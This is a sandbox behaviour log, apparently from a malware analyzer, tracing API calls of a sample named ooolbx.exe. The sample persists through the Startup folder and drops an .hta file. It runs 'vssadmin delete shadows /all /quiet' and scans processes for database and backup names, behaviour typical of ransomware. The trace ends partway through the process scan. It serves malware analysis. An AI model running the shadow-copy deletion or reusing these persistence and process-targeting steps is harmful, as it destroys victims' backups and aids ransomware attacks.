# Flog Txt Version 1
# Analyzer Version: 3.2.1
# Analyzer Build Date: Feb 5 2020 10:35:20
# Log Creation Date: 12.02.2020 09:11:35.619
Process:
id = "1"
image_name = "ooolbx.exe"
filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ooolbx.exe"
page_root = "0x33b4b000"
os_pid = "0xa08"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "analysis_target"
parent_id = "0"
os_parent_pid = "0x444"
cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ooolbx.exe\" "
cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
bitness = "32"
os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Thread:
id = 1
os_tid = 0xa18
[0030.237] GetUserDefaultLangID () returned 0x409
[0030.242] GetModuleHandleA (lpModuleName=0x0) returned 0x1360000
[0030.242] FindResourceW (hModule=0x1360000, lpName=0x1, lpType=0xa) returned 0x136a048
[0030.245] LoadResource (hModule=0x1360000, hResInfo=0x136a048) returned 0x136a058
[0030.245] SizeofResource (hModule=0x1360000, hResInfo=0x136a048) returned 0x22a
[0030.245] GetProcessHeap () returned 0x2e0000
[0030.245] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x22a) returned 0x2fe2b0
[0030.245] RegOpenKeyW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows Defender", phkResult=0x2cfd8c | out: phkResult=0x2cfd8c*=0x0) returned 0x2
[0030.245] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x2cf964 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x0
[0030.249] PathAddBackslashW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned=""
[0030.249] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\parid.bin" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\parid.bin"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x6, hTemplateFile=0x0) returned 0xb4
[0030.250] GetLastError () returned 0x0
[0030.250] GetLastError () returned 0x0
[0030.250] GetTickCount () returned 0x11530d1
[0030.250] GetTickCount () returned 0x11530d1
[0030.250] GetTickCount () returned 0x11530d1
[0030.250] GetTickCount () returned 0x11530d1
[0030.251] GetTickCount () returned 0x11530d1
[0030.251] GetTickCount () returned 0x11530d1
[0030.251] WriteFile (in: hFile=0xb4, lpBuffer=0x1369218*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x2cfb6c, lpOverlapped=0x0 | out: lpBuffer=0x1369218*, lpNumberOfBytesWritten=0x2cfb6c*=0x6, lpOverlapped=0x0) returned 1
[0030.252] CloseHandle (hObject=0xb4) returned 1
[0030.253] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2cf308, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ooolbx.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ooolbx.exe")) returned 0x30
[0030.253] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ooolbx.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
[0030.253] ExpandEnvironmentStringsW (in: lpSrc="%appdata%", lpDst=0x2cf920, nSize=0x104 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2e
[0030.253] GetTickCount () returned 0x11530e1
[0030.253] GetTickCount () returned 0x11530e1
[0030.253] GetTickCount () returned 0x11530e1
[0030.253] GetTickCount () returned 0x11530e1
[0030.253] GetTickCount () returned 0x11530e1
[0030.253] GetTickCount () returned 0x11530e1
[0030.253] GetTickCount () returned 0x11530e1
[0030.253] GetTickCount () returned 0x11530e1
[0030.253] GetTickCount () returned 0x11530e1
[0030.253] GetTickCount () returned 0x11530e1
[0030.253] GetTickCount () returned 0x11530e1
[0030.253] GetTickCount () returned 0x11530e1
[0030.253] GetTickCount () returned 0x11530e1
[0030.253] GetTickCount () returned 0x11530e1
[0030.253] GetTickCount () returned 0x11530e1
[0030.253] GetTickCount () returned 0x11530e1
[0030.253] GetTickCount () returned 0x11530e1
[0030.253] GetTickCount () returned 0x11530e1
[0030.253] GetTickCount () returned 0x11530e1
[0030.253] GetTickCount () returned 0x11530e1
[0030.253] GetTickCount () returned 0x11530e1
[0030.253] GetTickCount () returned 0x11530e1
[0030.253] GetTickCount () returned 0x11530e1
[0030.253] GetTickCount () returned 0x11530e1
[0030.254] GetTickCount () returned 0x11530e1
[0030.254] GetTickCount () returned 0x11530e1
[0030.254] GetTickCount () returned 0x11530e1
[0030.254] GetTickCount () returned 0x11530e1
[0030.254] GetTickCount () returned 0x11530e1
[0030.255] wnsprintfW (in: pszDest=0x1368ff0, cchDest=260, pszFmt="%s\\%s" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5") returned 120
[0030.255] wnsprintfW (in: pszDest=0x2cf718, cchDest=260, pszFmt="%s.exe" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.exe") returned 124
[0030.255] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ooolbx.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ooolbx.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\twu5x5u5jjqyrmbjt4z9mff9knv5.exe"), bFailIfExists=0) returned 1
[0030.261] wnsprintfW (in: pszDest=0x2cf718, cchDest=260, pszFmt="%s.hta" | out: pszDest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta") returned 124
[0030.261] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\twu5x5u5jjqyrmbjt4z9mff9knv5.hta"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
[0030.262] WriteFile (in: hFile=0xb0, lpBuffer=0x1363938*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x2cfb6c, lpOverlapped=0x0 | out: lpBuffer=0x1363938*, lpNumberOfBytesWritten=0x2cfb6c*=0x9c, lpOverlapped=0x0) returned 1
[0030.263] WriteFile (in: hFile=0xb0, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x2cfb6c, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0x2cfb6c*=0x18, lpOverlapped=0x0) returned 1
[0030.263] WriteFile (in: hFile=0xb0, lpBuffer=0x13639d8*, nNumberOfBytesToWrite=0x2e79, lpNumberOfBytesWritten=0x2cfb6c, lpOverlapped=0x0 | out: lpBuffer=0x13639d8*, lpNumberOfBytesWritten=0x2cfb6c*=0x2e79, lpOverlapped=0x0) returned 1
[0030.263] WriteFile (in: hFile=0xb0, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x2cfb6c, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0x2cfb6c*=0x18, lpOverlapped=0x0) returned 1
[0030.263] WriteFile (in: hFile=0xb0, lpBuffer=0x1366858*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x2cfb6c, lpOverlapped=0x0 | out: lpBuffer=0x1366858*, lpNumberOfBytesWritten=0x2cfb6c*=0x43, lpOverlapped=0x0) returned 1
[0030.263] WriteFile (in: hFile=0xb0, lpBuffer=0x1369218*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x2cfb6c, lpOverlapped=0x0 | out: lpBuffer=0x1369218*, lpNumberOfBytesWritten=0x2cfb6c*=0x6, lpOverlapped=0x0) returned 1
[0030.263] WriteFile (in: hFile=0xb0, lpBuffer=0x13668a0*, nNumberOfBytesToWrite=0x791, lpNumberOfBytesWritten=0x2cfb6c, lpOverlapped=0x0 | out: lpBuffer=0x13668a0*, lpNumberOfBytesWritten=0x2cfb6c*=0x791, lpOverlapped=0x0) returned 1
[0030.264] CloseHandle (hObject=0xb0) returned 1
[0030.264] CryptAcquireContextW (in: phProv=0x2cfb84, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x2cfb84*=0x2fe7c8) returned 1
[0030.479] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x2cfb64 | out: TokenHandle=0x2cfb64*=0xb0) returned 1
[0030.479] GetTokenInformation (in: TokenHandle=0xb0, TokenInformationClass=0x14, TokenInformation=0x2cfb5c, TokenInformationLength=0x4, ReturnLength=0x2cfb60 | out: TokenInformation=0x2cfb5c, ReturnLength=0x2cfb60) returned 1
[0030.479] CloseHandle (hObject=0xb0) returned 1
[0030.479] CreateProcessW (in: lpApplicationName="C:\\Windows\\sysnative\\vssadmin.exe", lpCommandLine=" delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x2cfb18*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cfb60 | out: lpCommandLine=" delete shadows /all /quiet", lpProcessInformation=0x2cfb60*(hProcess=0xb4, hThread=0xb0, dwProcessId=0x8b8, dwThreadId=0xa88)) returned 1
[0030.489] CloseHandle (hObject=0xb0) returned 1
[0030.489] CloseHandle (hObject=0xb4) returned 1
[0030.489] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb4
[0030.495] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
[0030.495] StrCmpNW (lpStr1="[Syst", lpStr2="mysql", nChar=5) returned -1
[0030.495] StrCmpNW (lpStr1="[Sy", lpStr2="IBM", nChar=3) returned -1
[0030.495] StrCmpNW (lpStr1="[Syst", lpStr2="bes10", nChar=5) returned -1
[0030.495] StrCmpNW (lpStr1="[Syst", lpStr2="black", nChar=5) returned -1
[0030.495] StrCmpNW (lpStr1="[Sy", lpStr2="sql", nChar=3) returned -1
[0030.495] StrCmpNW (lpStr1="[System P", lpStr2="store.exe", nChar=9) returned -1
[0030.495] StrCmpNW (lpStr1="[Sy", lpStr2="vee", nChar=3) returned -1
[0030.495] StrCmpNW (lpStr1="[Syst", lpStr2="postg", nChar=5) returned -1
[0030.495] StrCmpNW (lpStr1="[Sys", lpStr2="sage", nChar=4) returned -1
[0030.495] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
[0030.496] StrCmpNW (lpStr1="Syste", lpStr2="mysql", nChar=5) returned 1
[0030.496] StrCmpNW (lpStr1="Sys", lpStr2="IBM", nChar=3) returned 1
[0030.496] StrCmpNW (lpStr1="Syste", lpStr2="bes10", nChar=5) returned 1
[0030.496] StrCmpNW (lpStr1="Syste", lpStr2="black", nChar=5) returned 1
[0030.496] StrCmpNW (lpStr1="Sys", lpStr2="sql", nChar=3) returned 1
[0030.496] StrCmpNW (lpStr1="System", lpStr2="store.exe", nChar=9) returned 1
[0030.496] StrCmpNW (lpStr1="Sys", lpStr2="vee", nChar=3) returned -1
[0030.496] StrCmpNW (lpStr1="Syste", lpStr2="postg", nChar=5) returned 1
[0030.496] StrCmpNW (lpStr1="Syst", lpStr2="sage", nChar=4) returned 1
[0030.496] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
[0030.497] StrCmpNW (lpStr1="smss.", lpStr2="mysql", nChar=5) returned 1
[0030.497] StrCmpNW (lpStr1="sms", lpStr2="IBM", nChar=3) returned 1
[0030.497] StrCmpNW (lpStr1="smss.", lpStr2="bes10", nChar=5) returned 1
[0030.497] StrCmpNW (lpStr1="smss.", lpStr2="black", nChar=5) returned 1
[0030.497] StrCmpNW (lpStr1="sms", lpStr2="sql", nChar=3) returned -1
[0030.497] StrCmpNW (lpStr1="smss.exe", lpStr2="store.exe", nChar=9) returned -1
[0030.497] StrCmpNW (lpStr1="sms", lpStr2="vee", nChar=3) returned -1
[0030.497] StrCmpNW (lpStr1="smss.", lpStr2="postg", nChar=5) returned 1
[0030.497] StrCmpNW (lpStr1="smss", lpStr2="sage", nChar=4) returned 1
[0030.497] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
[0030.497] StrCmpNW (lpStr1="csrss", lpStr2="mysql", nChar=5) returned -1
[0030.497] StrCmpNW (lpStr1="csr", lpStr2="IBM", nChar=3) returned -1
[0030.497] StrCmpNW (lpStr1="csrss", lpStr2="bes10", nChar=5) returned 1
[0030.497] StrCmpNW (lpStr1="csrss", lpStr2="black", nChar=5) returned 1
[0030.497] StrCmpNW (lpStr1="csr", lpStr2="sql", nChar=3) returned -1
[0030.497] StrCmpNW (lpStr1="csrss.exe", lpStr2="store.exe", nChar=9) returned -1
[0030.497] StrCmpNW (lpStr1="csr", lpStr2="vee", nChar=3) returned -1
[0030.497] StrCmpNW (lpStr1="csrss", lpStr2="postg", nChar=5) returned -1
[0030.497] StrCmpNW (lpStr1="csrs", lpStr2="sage", nChar=4) returned -1
[0030.497] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
[0030.498] StrCmpNW (lpStr1="winin", lpStr2="mysql", nChar=5) returned 1
[0030.498] StrCmpNW (lpStr1="win", lpStr2="IBM", nChar=3) returned 1
[0030.498] StrCmpNW (lpStr1="winin", lpStr2="bes10", nChar=5) returned 1
[0030.498] StrCmpNW (lpStr1="winin", lpStr2="black", nChar=5) returned 1
[0030.498] StrCmpNW (lpStr1="win", lpStr2="sql", nChar=3) returned 1
[0030.498] StrCmpNW (lpStr1="wininit.e", lpStr2="store.exe", nChar=9) returned 1
[0030.498] StrCmpNW (lpStr1="win", lpStr2="vee", nChar=3) returned 1
[0030.498] StrCmpNW (lpStr1="winin", lpStr2="postg", nChar=5) returned 1
[0030.498] StrCmpNW (lpStr1="wini", lpStr2="sage", nChar=4) returned 1
[0030.498] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
[0030.499] StrCmpNW (lpStr1="csrss", lpStr2="mysql", nChar=5) returned -1
[0030.499] StrCmpNW (lpStr1="csr", lpStr2="IBM", nChar=3) returned -1
[0030.499] StrCmpNW (lpStr1="csrss", lpStr2="bes10", nChar=5) returned 1
[0030.499] StrCmpNW (lpStr1="csrss", lpStr2="black", nChar=5) returned 1
[0030.499] StrCmpNW (lpStr1="csr", lpStr2="sql", nChar=3) returned -1
[0030.499] StrCmpNW (lpStr1="csrss.exe", lpStr2="store.exe", nChar=9) returned -1
[0030.499] StrCmpNW (lpStr1="csr", lpStr2="vee", nChar=3) returned -1
[0030.499] StrCmpNW (lpStr1="csrss", lpStr2="postg", nChar=5) returned -1
[0030.499] StrCmpNW (lpStr1="csrs", lpStr2="sage", nChar=4) returned -1
[0030.499] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
[0030.499] StrCmpNW (lpStr1="winlo", lpStr2="mysql", nChar=5) returned 1
[0030.499] StrCmpNW (lpStr1="win", lpStr2="IBM", nChar=3) returned 1
[0030.499] StrCmpNW (lpStr1="winlo", lpStr2="bes10", nChar=5) returned 1
[0030.499] StrCmpNW (lpStr1="winlo", lpStr2="black", nChar=5) returned 1
[0030.499] StrCmpNW (lpStr1="win", lpStr2="sql", nChar=3) returned 1
[0030.500] StrCmpNW (lpStr1="winlogon.", lpStr2="store.exe", nChar=9) returned 1
[0030.500] StrCmpNW (lpStr1="win", lpStr2="vee", nChar=3) returned 1
[0030.500] StrCmpNW (lpStr1="winlo", lpStr2="postg", nChar=5) returned 1
[0030.500] StrCmpNW (lpStr1="winl", lpStr2="sage", nChar=4) returned 1
[0030.500] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
[0030.500] StrCmpNW (lpStr1="servi", lpStr2="mysql", nChar=5) returned 1
[0030.500] StrCmpNW (lpStr1="ser", lpStr2="IBM", nChar=3) returned 1
[0030.500] StrCmpNW (lpStr1="servi", lpStr2="bes10", nChar=5) returned 1
[0030.500] StrCmpNW (lpStr1="servi", lpStr2="black", nChar=5) returned 1
[0030.500] StrCmpNW (lpStr1="ser", lpStr2="sql", nChar=3) returned -1
[0030.500] StrCmpNW (lpStr1="services.", lpStr2="store.exe", nChar=9) returned -1
[0030.500] StrCmpNW (lpStr1="ser", lpStr2="vee", nChar=3) returned -1
[0030.500] StrCmpNW (lpStr1="servi", lpStr2="postg", nChar=5) returned 1
[0030.500] StrCmpNW (lpStr1="serv", lpStr2="sage", nChar=4) returned 1
[0030.500] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
[0030.501] StrCmpNW (lpStr1="lsass", lpStr2="mysql", nChar=5) returned -1
[0030.501] StrCmpNW (lpStr1="lsa", lpStr2="IBM", nChar=3) returned 1
[0030.501] StrCmpNW (lpStr1="lsass", lpStr2="bes10", nChar=5) returned 1
[0030.501] StrCmpNW (lpStr1="lsass", lpStr2="black", nChar=5) returned 1
[0030.501] StrCmpNW (lpStr1="lsa", lpStr2="sql", nChar=3) returned -1
[0030.501] StrCmpNW (lpStr1="lsass.exe", lpStr2="store.exe", nChar=9) returned -1
[0030.501] StrCmpNW (lpStr1="lsa", lpStr2="vee", nChar=3) returned -1
[0030.501] StrCmpNW (lpStr1="lsass", lpStr2="postg", nChar=5) returned -1
[0030.501] StrCmpNW (lpStr1="lsas", lpStr2="sage", nChar=4) returned -1
[0030.501] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
[0030.502] StrCmpNW (lpStr1="lsm.e", lpStr2="mysql", nChar=5) returned -1
[0030.502] StrCmpNW (lpStr1="lsm", lpStr2="IBM", nChar=3) returned 1
[0030.502] StrCmpNW (lpStr1="lsm.e", lpStr2="bes10", nChar=5) returned 1
[0030.502] StrCmpNW (lpStr1="lsm.e", lpStr2="black", nChar=5) returned 1
[0030.502] StrCmpNW (lpStr1="lsm", lpStr2="sql", nChar=3) returned -1
[0030.502] StrCmpNW (lpStr1="lsm.exe", lpStr2="store.exe", nChar=9) returned -1
[0030.502] StrCmpNW (lpStr1="lsm", lpStr2="vee", nChar=3) returned -1
[0030.502] StrCmpNW (lpStr1="lsm.e", lpStr2="postg", nChar=5) returned -1
[0030.502] StrCmpNW (lpStr1="lsm.", lpStr2="sage", nChar=4) returned -1
[0030.502] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0030.503] StrCmpNW (lpStr1="svcho", lpStr2="mysql", nChar=5) returned 1
[0030.503] StrCmpNW (lpStr1="svc", lpStr2="IBM", nChar=3) returned 1
[0030.503] StrCmpNW (lpStr1="svcho", lpStr2="bes10", nChar=5) returned 1
[0030.503] StrCmpNW (lpStr1="svcho", lpStr2="black", nChar=5) returned 1
[0030.503] StrCmpNW (lpStr1="svc", lpStr2="sql", nChar=3) returned 1
[0030.503] StrCmpNW (lpStr1="svchost.e", lpStr2="store.exe", nChar=9) returned 1
[0030.503] StrCmpNW (lpStr1="svc", lpStr2="vee", nChar=3) returned -1
[0030.503] StrCmpNW (lpStr1="svcho", lpStr2="postg", nChar=5) returned 1
[0030.503] StrCmpNW (lpStr1="svch", lpStr2="sage", nChar=4) returned 1
[0030.503] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0030.503] StrCmpNW (lpStr1="svcho", lpStr2="mysql", nChar=5) returned 1
[0030.503] StrCmpNW (lpStr1="svc", lpStr2="IBM", nChar=3) returned 1
[0030.503] StrCmpNW (lpStr1="svcho", lpStr2="bes10", nChar=5) returned 1
[0030.503] StrCmpNW (lpStr1="svcho", lpStr2="black", nChar=5) returned 1
[0030.503] StrCmpNW (lpStr1="svc", lpStr2="sql", nChar=3) returned 1
[0030.503] StrCmpNW (lpStr1="svchost.e", lpStr2="store.exe", nChar=9) returned 1
[0030.503] StrCmpNW (lpStr1="svc", lpStr2="vee", nChar=3) returned -1
[0030.503] StrCmpNW (lpStr1="svcho", lpStr2="postg", nChar=5) returned 1
[0030.503] StrCmpNW (lpStr1="svch", lpStr2="sage", nChar=4) returned 1
[0030.503] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0030.504] StrCmpNW (lpStr1="svcho", lpStr2="mysql", nChar=5) returned 1
[0030.504] StrCmpNW (lpStr1="svc", lpStr2="IBM", nChar=3) returned 1
[0030.504] StrCmpNW (lpStr1="svcho", lpStr2="bes10", nChar=5) returned 1
[0030.504] StrCmpNW (lpStr1="svcho", lpStr2="black", nChar=5) returned 1
[0030.504] StrCmpNW (lpStr1="svc", lpStr2="sql", nChar=3) returned 1
[0030.504] StrCmpNW (lpStr1="svchost.e", lpStr2="store.exe", nChar=9) returned 1
[0030.504] StrCmpNW (lpStr1="svc", lpStr2="vee", nChar=3) returned -1
[0030.504] StrCmpNW (lpStr1="svcho", lpStr2="postg", nChar=5) returned 1
[0030.504] StrCmpNW (lpStr1="svch", lpStr2="sage", nChar=4) returned 1
[0030.504] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0030.505] StrCmpNW (lpStr1="svcho", lpStr2="mysql", nChar=5) returned 1
[0030.505] StrCmpNW (lpStr1="svc", lpStr2="IBM", nChar=3) returned 1
[0030.505] StrCmpNW (lpStr1="svcho", lpStr2="bes10", nChar=5) returned 1
[0030.505] StrCmpNW (lpStr1="svcho", lpStr2="black", nChar=5) returned 1
[0030.505] StrCmpNW (lpStr1="svc", lpStr2="sql", nChar=3) returned 1
[0030.505] StrCmpNW (lpStr1="svchost.e", lpStr2="store.exe", nChar=9) returned 1
[0030.505] StrCmpNW (lpStr1="svc", lpStr2="vee", nChar=3) returned -1
[0030.505] StrCmpNW (lpStr1="svcho", lpStr2="postg", nChar=5) returned 1
[0030.505] StrCmpNW (lpStr1="svch", lpStr2="sage", nChar=4) returned 1
[0030.505] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0030.505] StrCmpNW (lpStr1="svcho", lpStr2="mysql", nChar=5) returned 1
[0030.505] StrCmpNW (lpStr1="svc", lpStr2="IBM", nChar=3) returned 1
[0030.505] StrCmpNW (lpStr1="svcho", lpStr2="bes10", nChar=5) returned 1
[0030.505] StrCmpNW (lpStr1="svcho", lpStr2="black", nChar=5) returned 1
[0030.505] StrCmpNW (lpStr1="svc", lpStr2="sql", nChar=3) returned 1
[0030.506] StrCmpNW (lpStr1="svchost.e", lpStr2="store.exe", nChar=9) returned 1
[0030.506] StrCmpNW (lpStr1="svc", lpStr2="vee", nChar=3) returned -1
[0030.506] StrCmpNW (lpStr1="svcho", lpStr2="postg", nChar=5) returned 1
[0030.506] StrCmpNW (lpStr1="svch", lpStr2="sage", nChar=4) returned 1
[0030.506] Process32NextW (in: hSnapshot=0xb4, lppe=0x2cf920 | out: lppe=0x2cf920*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
[0030.506] StrCmpNW (lpStr1="audio", lpStr2="mysql", nChar=5) returned -1
[0030.506] StrCmpNW (lpStr1="aud", lpStr2="IBM", nChar=3) returned -1
[0030.506] StrCmpNW (lpStr1="audio", lpStr2="bes10", nChar=5) returned -1
[0030.506] StrCmpNW (lpStr1="audio", lpStr2="black", nChar=5) returned -1
